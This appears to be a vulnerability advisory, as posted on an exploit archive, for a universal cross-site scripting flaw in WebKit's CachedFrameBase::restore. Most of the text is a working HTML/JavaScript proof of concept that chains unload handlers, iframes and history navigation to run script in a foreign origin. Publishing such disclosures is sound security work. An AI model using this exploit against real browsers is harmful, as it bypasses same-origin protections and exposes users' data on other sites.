WebKit CachedFrameBase::restore Universal Cross Site Scripting

WebKit suffers from a universal cross site scripting vulnerability in CachedFrameBase::restore.


MD5 | 8ee769d64010284b4721a43aed2c95de

 WebKit: UXSS via CachedFrameBase::restore 




This is similar to the case <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1151" title="" class="" rel="nofollow">https://bugs.chromium.org/p/project-zero/issues/detail?id=1151</a>.
But this time, javascript handlers may be fired in FrameLoader::open.

void FrameLoader::open(CachedFrameBase& cachedFrame)
{
...
clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called.
...
}

PoC:
<html>
<body>
Click anywhere...
<script>

function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
let a = w.document.createElement('a');
a.href = url;
a.click();
}

window.onclick = () => {
window.w = open('about:blank', 'w', 'width=500, height=500');

let i0 = w.document.body.appendChild(document.createElement('iframe'));
let i1 = w.document.body.appendChild(document.createElement('iframe'));
i0.contentWindow.onbeforeunload = () => {
i0.contentWindow.onbeforeunload = null;

navigate(w, 'about:blank');
};

navigate(i0.contentWindow, createURL(`
<body>
<script>
</scrip` + 't></body>'));

setTimeout(() => {
let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
let x = new g.contentWindow.XMLHttpRequest();
x.onabort = () => {
parseFloat('axfasdfasfdsfasfsfasdf');
i0.contentDocument.write();

navigate(w, '<a href="https://abc.xyz/');" title="" class="" rel="nofollow">https://abc.xyz/');</a>

showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.w.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 10);
</scrip` + 't>'));

setTimeout(() => {
i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
navigate(i1.contentWindow, 'about:srcdoc');
}, 10);
};

x.open('GET', createURL('x'.repeat(0x1000000)));
x.send();
w.history.go(-2);
}, 200);
};

</script>
</body>
</html>


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


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